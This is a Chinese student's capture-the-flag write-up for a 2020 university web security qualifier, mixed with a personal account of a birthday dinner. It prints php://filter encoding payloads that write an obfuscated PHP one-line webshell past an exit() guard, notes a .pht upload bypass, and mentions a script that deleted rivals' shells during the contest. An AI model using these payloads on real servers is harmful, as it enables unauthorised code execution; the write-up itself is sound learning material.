2020全国大学生WEB安全测试预选赛WriteUp
2020全国大学生WEB安全测试预选赛WriteUp
加油一步一个脚印吧!这次比赛又学习到了很多,慕测的赛事时间相比其它CTF比赛比较紧凑,13:00-17:00有十道WEB题,虽然相比CTF题的难度是简单一些,但我也只做出4道题,怎么说呢,还是很菜,很菜,加油就好。
下面仅简单记录几道题的payload和思路,因为现在是10.25的凌晨0:02。emmm,今天是我的生日,玩的很嗨,请了8个朋友/卓越班同学去吃电台巷火锅,挺好吃的,不知道是因为心情还是真的好吃。再多说几句,喜欢电台巷的红糖糍粑、鲜鸭血和牛蛙。红糖糍粑是现炸的很酥香;鲜鸭血真的很鲜,红红的。煮熟后特别嫩特别好吃;牛蛙是我第一次在牛油锅里涮着吃,很嫩很好吃。不仅还想感叹,自己明年就毕业了,这大概是大学期间最后一个生日了吧,步入了社会就再也没有假期了…突然有些伤感,但是还是要回到正题,说了这么多只是想说今天很晚了,WP就不写那么详细了,简单记录一下印象深刻的思路吧。
一、绕过<php? exit(); ?>
这道题,我搜索相似,模仿的payload,深入原理并没有弄得特别懂,日后一定要好好学习一下php://filter的相关骚操作(2020.11.16,今天做BUUCTF时看到一篇讲解不错的博客,已经进一步的学习了其中的原理)。另外说一句,这道题搅屎棍很多,因为写入了一句话后,总有人删除别人上传的木马,我就被删了几次,故一怒之下写了一波条件竞争的py脚本,删除上传目录中的所有文件,且写入自己的一句话。emmm,自己成了搅屎棍了。
源代码:
1 |
|
Payload:
1 | php://filter/convert.iconv.UCS-2LE.UCS-2BE| ?<hp pvela$(P_SO[T11)] ;>?/resource=f.php |
过滤两次编码,rot13+UCS组合拳
1 | ?file=php://filter/string.rot13|convert.iconv.UCS-4LE.UCS-4BE|uc?<ir c$(ynHDRE[GFR;)]11>? /resource=shell.php |
类似解决方法还有很多,参考博客:https://blog.csdn.net/a3320315/article/details/105293885
二、找色差
此题核心是加密过的js代码,主要显示内容为一个找色差的游戏,闯关到超过2000次就算成功,写一个js脚本自己玩即可。最后发现console中打印了一串96位的字符串,题目提示md5加密其即是flag,最后成功提交。
1 | var e = document.createEvent("MouseEvents"); |
三、文件上传
直接.pht绕过即可。
四、git
GitHacker脚本直接获得源码,然后git log --all
发现之前有一个提交版本,git reset --hard commit-id
切换版本,查看多了一个flag.php,cat其即可。